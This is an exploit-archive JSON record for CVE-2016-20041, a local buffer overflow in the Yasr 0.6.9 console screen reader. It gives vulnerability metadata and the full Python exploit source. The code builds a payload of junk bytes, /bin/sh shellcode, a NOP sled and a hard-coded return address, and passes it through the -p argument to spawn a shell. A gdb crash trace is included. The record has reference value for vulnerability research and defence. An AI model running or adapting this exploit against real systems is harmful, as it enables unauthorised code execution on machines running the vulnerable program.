{"exploit":{"id":"EDB-39734","name":"Yasr Screen Reader 0.6.9 - Local Buffer Overflow","description":"Yasr Screen Reader 0.6.9 - Local Buffer Overflow","cves":["CVE-2016-20041"],"author":"Juan Sacco","published":"2016-04-26","platform":"linux","type":"local","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/39734","path":"exploits/linux/local/39734.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-39734.py","vulnerabilities":[{"id":"CVE-2016-20041","state":"PUBLISHED","title":"Yasr 0.6.9-5 Buffer Overflow via Command-line Parameter","titleSource":"CVE Program","description":"Yasr 0.6.9-5 contains a buffer overflow vulnerability that allows local attackers to crash the application or execute arbitrary code by supplying an oversized argument to the -p parameter. Attackers can invoke yasr with a crafted payload containing junk data, shellcode, and a return address to overwrite the stack and trigger code execution.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2016-20041","cvss":{"version":"4.0","baseScore":8.6,"severity":"high","vectorString":"CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N","source":"VulnCheck","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2016-20041"},"updatedAt":"2026-03-30T17:40:09.049Z","retrievedAt":"2026-11-26T21:07:48.544Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-39734.png?v=2","url":"https://exploitbin.com/exploits/EDB-39734","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-39734/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-39734/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"'''\n# Exploit Author: Juan Sacco - http://www.exploitpack.com - jsacco@exploitpack.com\n# Program affected: General-purpose console screen reader\n# Version: 0.6.9-5\n#\n# Tested and developed under:  Kali Linux 2.0 x86 - https://www.kali.org\n# Program description: Yasr is a general-purpose console screen reader\nfor GNU/Linux and other Unix-like operating systems.\n# Kali Linux 2.0 package: pool/main/y/yasr/yasr_0.6.9-5_i386.deb\n# MD5sum: 910f4b41fd09d5486b935097dc8dd2f8\n# Website: http://yasr.sourceforge.net/\n#\n#\n# Starting program: /usr/bin/yasr -p $(python -c 'print \"\\x90\"*258')\n# [Thread debugging using libthread_db enabled]\n# Using host libthread_db library\n\"/lib/i386-linux-gnu/i686/cmov/libthread_db.so.1\".\n# Program received signal SIGSEGV, Segmentation fault.\n#\n# 0x90909090 in ?? ()\n#\n#gdb$ backtrace\n#0  0xb7fdebe0 in __kernel_vsyscall ()\n#1  0xb7e33367 in __GI_raise (sig=sig@entry=0x6) at\n../nptl/sysdeps/unix/sysv/linux/raise.c:56\n#2  0xb7e34a23 in __GI_abort () at abort.c:89\n#3  0xb7e71778 in __libc_message (do_abort=do_abort@entry=0x2,\nfmt=fmt@entry=0xb7f67715 \"*** %s ***: %s terminated\\n\") at\n../sysdeps/posix/libc_fatal.c:175\n#4  0xb7f01b85 in __GI___fortify_fail (msg=msg@entry=0xb7f67696\n\"buffer overflow detected\") at fortify_fail.c:31\n#5  0xb7effc3a in __GI___chk_fail () at chk_fail.c:28\n'''\n\nimport os, subprocess\n\ndef run():\n  try:\n    print \"# Yasr Console Screen Reader - Buffer Overflow by Juan Sacco\"\n    print \"# This exploit is for educational purposes only\"\n    # JUNK + SHELLCODE + NOPS + EIP\n\n    junk = \"\\x41\"*298\n    shellcode = \"\\x31\\xc0\\x50\\x68//sh\\x68/bin\\x89\\xe3\\x50\\x53\\x89\\xe1\\x99\\xb0\\x0b\\xcd\\x80\"\n    nops = \"\\x90\"*12\n    eip = \"\\xd2\\xf3\\xff\\xbf\"\n    subprocess.call([\"yasr \",'-p ', junk + shellcode + nops + eip])\n\n  except OSError as e:\n    if e.errno == os.errno.ENOENT:\n        print \"Sorry, Yasr Console Reader - Not found!\"\n    else:\n        print \"Error executing exploit\"\n    raise\n\ndef howtousage():\n  print \"Snap! Something went wrong\"\n  sys.exit(-1)\n\nif __name__ == '__main__':\n  try:\n    print \"Exploit Yasr 0.6.9-5 Local Overflow Exploit\"\n    print \"Author: Juan Sacco\"\n  except IndexError:\n    howtousage()\nrun()","sha256":"47777bebed2bc96985d850e8ee49e5a59cfb9ada51cf16139491580110f2d554","bytes":2175,"fetchedAt":"2026-11-26T21:07:48.427Z","encoding":"utf-8 (display only; download retains original bytes)"}